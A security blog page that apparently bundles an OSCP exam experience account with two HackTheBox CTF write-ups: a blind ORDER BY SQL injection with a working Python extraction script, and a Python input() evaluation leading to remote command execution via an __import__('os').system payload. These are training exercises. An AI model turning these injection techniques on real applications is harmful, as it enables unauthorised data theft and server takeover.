My OSCP Exam Experience & Tips

Here is a write up of my OSCP exam experience – from studying through to passing the exam. Overall, it was a worthwhile experience and I would recommend it to anyone interested in infosec!

TL:DR

  • Practise!
  • IMO, the OSCP exam manual is too large and not worth the effort
  • Proving Grounds is far better than PWK Labs (And its much cheaper!)
  • You don’t need to know *everything* in Kali or Linux to complete the course/exam
  • ‘Try Harder’ is a good mentality, but it has its limits
  • There are some excellent resources out there, in particular:

Start

I started my 3 month lab access at the end of 2020, to coincide with the start of another lockdown in the UK. When you first get access to the OSCP/PWK labs you have a short window (2-3 days) to download the various content you will need to study from. You get:

  • A set of videos walking you through the course
  • The OSCP exam manual (Only 853 pages long!)
  • VPN credentials to the lab machines

Early on, my plan was to complete the manual, and finish all of the exercises. I quickly realised this was pretty futile, as the exercises alone would likely take a month or longer to do. I felt that I could ‘learn’ at least 5 points from the machines in the time it would take to complete the manual! However, I did read through the entire 853-page manual. This was worthwhile, but in hindsight this didn’t teach me anything above what I learned from the lab machines.

Practise

Over the first 2.5 months I focused on the PWK labs, completing around 35 of the 55 machines. The machines were generally pretty well made, although most were unpatched – so dont rely on kernel exploits! I would consider them to be around easy/medium difficulty when compared to HackTheBox. The kicker for the OSCP exam is that there is such a wide array of potential exploits to be used! IMO, you should be able to spot basic misconfigurations and vulnerabilities not only in HTTP, but SMB, NFS, SQL, SSH and so on.

One major bug bear of mine is that several machines in PWK rely on data gathered from previous machines. For example, pivoting via RDP/SMB or reusing credentials. I personally found this incredibly frustrating as I couldn’t find a way of seeing if a machine relied on another. Generally, if only RDP is exposed then I found that to be a good indicator of it being reliant on another. I would recommend performing post-exploitation activities on any machine you compromise, as it can help sharpen your skills when trying to run Mimikatz or dump /etc/passwd if the shell you are reliant on isnt very stable!

A widely held view is that if you can complete the ‘Big 4’ in PWK, then you should be able to pass the exam. I would have to agree here, and one regret I have is looking at the forums before I had exhausted *every* avenue on the machines. If I were to do it again, I would treat these 4 as mock exam machines and not use any hints, even if it takes days.

After those 2.5 months, I decided to give Proving Grounds a trial. I had heard good things from the OSCP subreddit about Proving Grounds. This turned out to be the best decision I made during my studying. In hindsight, I should have spent my 2-3 months on Proving Grounds instead of PWK labs. For £14/month, you get access to around 40 machines of varying difficulty (These are rated as easy, intermediate or hard). I would say they very accurately reflect the points assigned in the OSCP exam (10 points = Easy, 20 points = intermediate, 25 points = hard).

These machines were really good, and were much more modern than the PWK labs, ruling out most kernel exploits. Overall, I would thoroughly recommend it, I feel PG has more relevant machines than PWK does.

OSCP Exam

I went for a 1pm start time, which I found to be just about perfect. It gives you a substantial amount of time on day 1 to complete the majority of the machines, and some time the next day to get any additional points if needed. I would definitely advise getting a normal nights sleep during the exam, so you are able to do the report! I would also ensure that you have some decent food in ahead of the exam.

At 12:45 I was able to log into the VPN and proctoring software. I would recommend getting an old-school webcam on a cable, rather than relying on the built in machine camera. This is because you have to show around the entire room, which can be hard when your laptop is docked! The proctors wanted all of my electronics out of the room. This included monitors which were not connected to a device – so clear your room down ahead of the exam. Additionally, you need to sign into the VPN via the openvpn CLI, rather than the new wizard which has been in recent versions of Kali. Clearing the room and downloading openvpn took a long time, and ended up using 30 minutes of my exam.

The first thing I did in the exam was the buffer overflow, this only took an hour after using Tib3rius TryHackMe room, and was a great way to settle my nerves and get 25 points sorted. Following this I started scanning all of the machines, just in case they took a long time! I then managed to get user on one of the 20 point machines, leaving me at 35 points.

Through the rest of the day I worked my way through the machines, getting up to 55 points by 7pm. At this point I fell down a major rabbit hole, trying to get an exploit to compile on the machine. I put way too much time into this, which nearly jeapordised my whole exam. This was a major lesson learned, and I should have moved onto another machine or exploit much sooner!

By 11pm, my brain was of no use, following a decent first day on the 5 machines. I spent a further hour and a half doing some very poor scanning of the machines. After this I decided (correctly!) that it was time for some sleep.

In the morning I started at 7am, and it took a while for my brain to get going again. I should have stuck to waking up at 9am as I usually do – another lesson learned!

Throughout my practise, I tried to avoid using MetaSploit for any machines, as I am personally not a fan of how point-and-click it is. That being said, I did end up using it on my final machine. I waited until I had around 1-1.5 hours left, which I felt was enough time to make full use of MetaSploit. This was a great decision, allowing me to root the 25-point machine with 30 minutes left.

Finally, I checked to ensure I had screenshots for all of my proofs, as the requirements are fairly strict! I then took a 2 hour break to clear my head, before I started the report.

Report

In the end, the report took a huge amount of time to write up! Mine was around 50 pages in the end, and took about 7-8 hours! This was longer than I expected, but I wanted to ensure I didn’t lose any marks for a bad report. I didn’t use the OSCP example template as I wanted to use a different structure and a less Offensive Security themed document, this turned out to be fine in the end!

Something I had not noticed before, was that you need to include evidence of any artefacts of testing being removed. To avoid any tools or exploits remaining on the machine, I consciously only stored data within /tmp, so that I could easily clear up at the end of any machines.

I would recommend ensuring you have enough time for the report. You definitely don’t want to pull an all-nighter to complete it! Another benefit of the 1pm start time is that you can write a decent draft on day 2, and then review it on day 3, before the 1pm deadline.

Results & Summary

Results are supposed to take up to 10 days, but I heard back in a day – passing with 70 points! You can then order your certificate pack, which takes several weeks to arrive.

Overall, I learned a lot from OSCP, and I now understand why it is considered as entry level by some. You wont become an expert at pen-testing *everything*, but you will have a great basic level of knowledge. Think ‘jack of all trades, master of none’! One area I have a bug bear with, is the ‘Try Harder’ mantra. I would fully recommend ensuring you explore every avenue of attack for a machine, but ultimately, I found I learned most when I had a small hint for some machines. (This is something you can do on Proving Grounds, which is why I am a fan!) Just telling a learner to ‘Try Harder’ whenever they ask for help is a little pointless in my eyes.

Every machine in my exam was Linux based, and I should have spent longer on my Linux privilege escalation. I found this a little unusual, as most enterprises rely heavily on Windows. But this does match up with the distribution of machines on Proving Grounds and PWK.

HTB Cyber Apocalypse – Emoji Voting Writeup

Emoji Voting was a 2-star rated ‘Web’ machine. The server was vulnerable to SQL injection, which allowed for the flag to be discovered. This was a fairly laborious process, as the SQL injection was after an ‘ORDER BY’ statement, which increased the complexity of exploiting it.

Pwning Emoji Voting

The website itself appears to be a simple voting system, with buttons to vote for various emoji’s. As with most of the HackTheBox machines, there was a file containing the files for the server. These files reveal that the flag is going to reside within a table beginning with ‘flag_

SQL statements to create the table to hold the flag file
SQL statements to create the table to hold the flag file

Reading the database.js file, it revealed 2 database functions which could be exploited, namely vote() and getEmojis(). After some initial testing, it was clear that the getEmojis function was the vulnerable endpoint.

The two database functions within database.js
The two database functions within database.js

Intercepting the traffic with Burp reveals that a request is made to the /api/list endpoint every 5 seconds (To update the current voting statistics). This endpoint then calls the getEmojis function, which takes the body of the request and uses it in the ORDER BY statement above.

Typically, exploiting a vulnerability like this would be fairly easy with a UNION command, or a sub-query. The following quote explains why this particular type of SQL injection is tricky to exploit:

Exploiting SQL injection in an ORDER BY clause is significantly different from most other cases. A database will not accept a UNION, WHERE, OR, or AND keyword at this point in the query. Exploitation requires the attacker to specify a nested query in place of the ORDER BY parameter.

https://portswigger.net/support/sql-injection-in-the-query-structure

Crafting an nested SQL statement

To exploit this, we can run a nested query after the ORDER BY clause. This allows us to compare one letter at a time, and slowly discover values within the database. This is exceptionally slow, but it is a viable method! Sending the following text to the /api/list endpoint: {"order":"(CASE WHEN 1==2 THEN id ELSE count END) DESC"}. This returned the emoji values ordered by the count value, showing we had successfully injected code into the SQL statement. The SQL engine had determined that 1==2 was false, and so it evaluated to count DESC, returning the data ordered by the count value descending.

Successfully injecting into the SQL statement
Successfully injecting into the SQL statement

Following a lot of troubleshooting, an SQL statement can be written to find the full name of the ‘flag table’. As the ‘flag table’ uses a randomised name, we need to query the sqlite_master table to determine its name. By using the process above, we know that a value is true if it returns data ordered by the id column, if it is false then it will be ordered by the count column. This query is as follows:

{"order":"(CASE WHEN (SELECT SUBSTR(name,1,1) FROM sqlite_master WHERE type ='table' AND name LIKE 'flag_%')=CHAR(1) THEN id ELSE count END) DESC"}

Using Python, we can rapidly query the API, and easily determine if we have found the correct letter for a given position. We do this by incrementing the value of the SUBSTR method and the CHAR value to cover the entire word. After doing this, we end up with the following script.

import requests,time

URL = "http://188.166.145.178:32715/api/list"

def make_request(position, value):
    request_data = {"order":f"(CASE WHEN (SELECT SUBSTR(name,{position},1) FROM sqlite_master WHERE type ='table' AND name LIKE 'flag%')=CHAR({value}) THEN id ELSE count END) DESC"}

    resp = requests.post(URL, json=request_data)
    response_json_data = resp.json()

    if response_json_data[1]['id'] == 11:
        return True
    else:
        return False

for position in range(6,17):
    #For each position, try and determine the letter

    for hex_value in range(255):
        response = make_request(position, hex_value)

        if response:
            print(f"Char Position {position} = {hex_value} ({chr(hex_value)})")
            break

Finding the flag table and Emoji Voting flag

After running this for a few minutes, we figure out the full name of the flag table, as being flag_e42009d78f, as shown below.

Discovering the name of the table containing the flag
Discovering the name of the table containing the flag

Now we know the name of the table, we can modify the request_data f-string value to query the flag column within the flag_e42009d78f table. This then changes to the following value:

request_data = {"order":f"(CASE WHEN (SELECT SUBSTR(flag,{position},1) FROM flag_e42009d78f)=CHAR({value}) THEN id ELSE count END) DESC"}

Running the Python script again, we figure out the final flag value is CHTB{order_me_this_juicy_info}. Overall, I really enjoyed playing through Emoji Voting. I felt I was quite good at SQL injection exploits, but this machine taught me a lot of new techniques! If you enjoyed this writeup, I have written up several other boxes at this link.

Discovering the full flag for Emoji Voting
Discovering the full flag for Emoji Voting

HTB CTF 2021 – Input as a Service Writeup

Input as a Serivce (Iaas) 1-star rated challenge from the HackTheBox Cyber Apocalypse CTF. This challenge was from the ‘Misc’ section, in contrast to most of the others I attempted! This challenge revolved around a input function vulnerability in a Python web server, which could be exploited to achieve an RCE.

Some initial poking around the site made it clear this was likely to revolve around sending a crafted API or web request. To investigate this, I span up Burp Suite and starting proxying my traffic through Burp. A blank GET request to the server returned output which was recognisable as the output from a Python server, along with debug information.

Output from the web server

As we can see from the error on line 12, the server is using the input function, which has a known ‘vulnerability’ in it. This ‘vulnerability’ is that any value which is read by input will be evaluated by Python. To test this, I crafted a packet to try some simple string concatenation, to check if this was a viable path.

Our crafted request to test the vulnerability in the input function
Our crafted request to test the vulnerability in the input function

Which then responded with abc123, indicating that we are able to issue commands to the Python server. You can see this on line 7 in the response below.

Response showing we are able to run commands on the server
Response showing we are able to run commands on the server

The next logical step for this vulnerability was to try and extend it to OS command injection, rather than just executing Python scripts. To do this, we would need to use the os module within Python. This presented some issues, as it appeared the standard way (import os; os.system('whoami')) of using the os module was being blocked, I assumed this was most likely due to the spaces within the command being parsed by an HTTP library or similar.

I then found a great blog which covered a very similar CTF challenge, and they used a different method of importing the os module, which avoided the need for any characters which could cause issues. By using the syntax __import__('os').system('ls -la'), we are able to list the contents of the current directory, showing we have RCE on the server.

Response from the server showing we have RCE
Response from the server showing we have RCE

We can now see the flag.txt file, which we can easily view with cat flag.txt, to reveal a flag of CHTB{4li3n5_us3_pyth0n2.X?!}.

Getting the flag from the server
Getting the flag from the server

If you enjoyed this writeup, I have written up several other boxes at this link.